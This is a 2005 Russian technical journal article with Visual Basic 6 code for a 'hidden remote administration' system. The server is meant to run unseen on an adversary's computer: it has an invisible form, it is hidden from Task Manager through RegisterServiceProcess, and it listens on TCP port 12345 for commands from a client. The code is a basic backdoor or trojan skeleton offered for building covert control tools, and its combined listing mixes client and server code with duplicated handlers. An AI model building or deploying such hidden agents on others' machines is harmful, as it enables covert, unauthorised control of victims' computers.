УДК 612.3

Н. В. Медведев, Г. А. Гришин

# РАЗРАБОТКА ПРОГРАММНОГО КОМПЛЕКСА УДАЛЕННОГО АДМИНИСТРИРОВАНИЯ ДЛЯ ОПЕРАЦИОННЫХ СИСТЕМ СЕМЕЙСТВА WINDOWS

*Рассмотрены основные подходы к использованию инструментальных средств разработки клиент-серверных систем с использованием Microsoft Visual Studio 6.0 на языке VisualBasic. Для создания подобного рода систем предложено использовать библиотеку функций Microsoft Winsock Control. Рассмотрены особенности и краткое описание данной библиотеки, являющейся составной частью операционной системы Windows. Представлен программный код для клиента (управляющей программы) и сервера (программы-агента).*

Применение компьютерной техники для сбора, обработки и передачи данных дает возможность противнику осуществлять спланированные действия по информационному воздействию на подобные системы.

В настоящей статьей будут рассмотрены основные подходы к разработке систем удаленного администрирования для операционных систем семейства Windows. Подобные системы представляют собой клиент-серверную архитектуру, в которой клиент — это программа, осуществляющая посредством пользовательского интерфейса управление сервером. Сервер находится на вычислительной машине противника и он скрыт как от пользователя, так и от диспетчера задач. Во время работы сервер открывает заранее установленный порт и ждет обращения клиента. Общение клиента и сервера осуществляется, как правило, по протоколу транспортного уровня TCP. После установления соединения между клиентом и сервером выдаются определенные команды серверу. После чего сервер их исполняет и по окончании отсылает результаты своей работы клиенту.

Сначала напишем серверную часть программного комплекса.

Для этого создаем новый проект на Visual Basic в виде стандартного исполняемого файла с расширением “*.exe” . Далее подключаем к нему Microsoft Winsock Control: в меню “Project”⇒“Components. . . ”.

Если его в списке этой библиотеки нет, то нажимаем “Browse” и выбираем файл “mswinsck.ocx”. После этого присоединяем эту библиотеку к форме проекта. Библиотека необходима для связи клиентской и серверной частей по TCP-протоколу. Далее изменяем форму: убираем заголовок, делаем малыми размеры и свойство формы visible, ставим указатель на “False”. Это значит, что сервер не будет виден для поль-

зователя. У компонента меняем имя на “ws” и свойству “LocalPort” присваиваем число, которое и будет номером порта общения двух программ, например 12345.

Теперь попробуем запустить программу. У нас ничего не должно появиться. Завершаем работу программы нажатием кнопки “Стоп”.

Запишем код программы в “Form_Load”:

```
Private Sub Form_Load()
Do
  If ws.State <> sckConnected And ws.State <> sckListening Then
    ws.Close
    ws.Listen
  End If
  DoEvents
Loop
End Sub
```

В данной функции рассматривается ситуация, когда у сервера отсутствует соединение с клиентом. Программа закрывает связь и открывает порт 12345 в ожидании клиента. Условие на установление связи нужно повторять во время работы программы, чтобы избежать разрыва связи. Сервер начинает “слушать” порт, затем подключается удаленный компьютер, а после его отключения порт не будет прослушиваться. Значения, которые может принимать свойство “State”, приведены в таблице.

Таблица

**Значения, принимаемые свойством “State”**

| Константа | Значение | Описание |
|---|---|---|
| SckClosed | 0 | Запуск программы или порт закрыт |
| SckOpen | 1 | Порт открыт |
| SckListening | 2 | Порт прослушивается |
| sckConnectionPending | 3 | Режим ожидания соединения |
| sckResolvingHost | 4 | Ожидание разрешения на соединение с сервером |
| sckHostResolved | 5 | Соединение разрешено |
| sckConnecting | 6 | Подключение к серверу |
| sckConnected | 7 | Связь с сервером установлена |
| sckClosing | 8 | Связь с сервером закрывается |
| sckError | 9 | Ошибка соединения |

Теперь нужно подключить клиента. Для этого необходимо написать функцию “ws_ConnectionRequest”.

```
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
  ws.Close
  ws.Accept requestID
End Sub
```

В функции “ws_ConnectionRequest” сначала прекращается прослушивание порта, а затем подсоединяется клиент по номеру его запроса. На этом код соединения двух программ завершен. Далее запишем код для функции “ws_DataArrival”. Он будет вызываться, когда будут приходить данные от сервера.

```
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
ws.GetData Data
Select Case Data
   Case "MSG"
   MsgBox "Поступили данные от сервера"
Case "END"
   End
End Select
End Sub
```

В этой функции сначала объявляем переменную “Data”, которая будет содержать пришедшие данные, а затем запишем их. После этого просматривают все возможные варианты, т. е. команды, которые могли прийти от сервера. Здесь их две: MSG, END, теперь остается скомпилировать программу. Назовем ее “server.exe”.

Приступим к написанию клиентской части. Создадим новый проект и форму.

Поставим на форму два текстовых поля и назовем их “IP” и “Port”, нажимаем две кнопки с надписями “Подключиться” и “Отключиться”, и три кнопки с надписями “Сообщение” и “Закрыть сервер”. Имена кнопок оставим по умолчанию. Теперь добавим “Winsock Control” и назовем его “ws”. Поскольку наш сервер работает на порту 12345, то свойству “Text” второго текстового поля можно сразу присвоить значение 12345. Текст первого поля — значение “IP” адреса данного компьютера. Для этого напишем следующую функцию:

```
Private Sub Form_Load()
   IP.Text = ws.LocalIP
End Sub
Private Sub Command1_Click()
   ws.Close
   ws.RemoteHost = IP
   ws.RemotePort = Port
   ws.Connect
End Sub
Private Sub Command2_Click()
   ws.Close
End Sub
```

Нажимая на кнопку “Подключиться”, закрываем связь, указываем удаленный IP-адрес сервера, порт-12345 и подключаемся. Кнопка “Отключиться” просто закрывает связь с сервером.

```
Private Sub Command4_Click()
If ws.State <> sckConnected Then Exit Sub
   ws.SendData "MSG"
End Sub

Private Sub Command5_Click()
If ws.State <> sckConnected Then Exit Sub
   ws.SendData "END"
End Sub
```

В последних двух функциях программа сначала проверяет связь, и если соединено, то отправляет команды.

Теперь компилируем программу, назовем ее “client.exe”. Можно протестировать программный комплекс скрытого администрирования. Для этого запустим “server.exe”, а затем “client.exe” и попробуем подключиться. Если не было ошибок, то нажимаем на кнопки команд. Теперь сервер необходимо скрыть для диспетчера задач.

```
Private Declare Function RegisterServiceProcess Lib _
“kernel32.dll” (ByVal dwProcessId As Long, ByVal _
dwType As Long) As Long
Private Sub Form_Load()
RegisterServiceProcess 0, 1
Do
   If ws.State <> sckConnected And ws.State <> sckListening Then
      ws.Close
      ws.Listen
   End If
   DoEvents
Loop
End Sub
```

Чтобы скрыть процесс работы сервера, необходимо обратиться к системной библиотеке “kernel32.dll”.

Листинг 1

```
Private Sub Form_Load()
Do
   If ws.State <> sckConnected And ws.State <> sckListening Then
      ws.Close
      ws.Listen
   End If
```

```
    DoEvents
Loop
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
    ws.Close
    ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
ws.GetData Data
Select Case Data
    Case "MSG"
    MsgBox "Поступили данные от сервера"
Case "END"
    End
End Select
End Sub

Private Sub Form_Load()
    IP.Text = ws.LocalIP
End Sub

Private Sub Command1_Click()
    ws.Close
    ws.RemoteHost = IP
    ws.RemotePort = Port
    ws.Connect
End Sub
Private Sub Command2_Click()
    ws.Close
End Sub

Private Sub Command4_Click()
If ws.State <> sckConnected Then Exit Sub
    ws.SendData “MSG”
End Sub
Private Sub Command5_Click()
If ws.State <> sckConnected Then Exit Sub
    ws.SendData “END”
End Sub

Private Declare Function RegisterServiceProcess Lib _ “kernel32.dll” (ByVal
dwProcessId As Long, ByVal _
dwType As Long) As Long
```

```
Private Sub Form_Load()
RegisterServiceProcess 0, 1
Do
    If ws.State <> sckConnected And ws.State <> sckListening Then
        ws.Close
        ws.Listen
    End If
    DoEvents
Loop
End Sub
```

**Выводы.** Приведены основные базовые элементы для построения подобных программных систем. С использованием предложенного подхода можно разрабатывать системы удаленного администрирования для решения поставленных задач.

## СПИСОК ЛИТЕРАТУРЫ


1. К р о у ф о р д Ш., Р а с с е л Ч. Справочник администратора Windows 2000. – СПб.: Эком, 2004. – 1300 с.
2. З е г ж д а Д. П., И в а ш к о А. М. Основы безопасности информационных систем. – М.: Горячая линия–Телеком, 2000. – 232 с.
3. Г р и н я е в С. Н. Интеллектуальное противодействие информационному оружию. – М.: СИНТЕГ, 1999. – 368 с.


Статья поступила в редакцию 20.04.2005


Николай Викторович Медведев родился в 1954 г., окончил в 1977 г. МВТУ им. Н.Э. Баумана. Канд. техн. наук, зав. кафедрой "Информационная безопасность" МГТУ им. Н.Э. Баумана. Автор более 45 научных работ в области исследования и разработки защищенных систем автоматической обработки информации.

N.V. Medvedev (b. 1954) graduated from the Bauman Moscow Higher Technical School in 1977. Ph. D. (Eng.), head of "Data Safety" department of the Bauman Moscow State Technical University. Author of more than 45 publications in the field of study and development of secured systems of automatic data processing.

Георгий Александрович Гришин родился в 1979 г., окончил МГТУ им. Н.Э. Баумана в 2003 г. Канд. техн. наук, доцент кафедры "Информационная безопасность" МГТУ им. Н.Э. Баумана. Автор 8 научных работ в области информационной безопасности.

A.G. Grishin (b. 1979) graduated from the Bauman Moscow State Technical University in 2003. Ph. D. (Eng.), assoc. prof. of "Data Safety" department of the Bauman Moscow State Technical University. Author of 8 publications in the field of the information safety.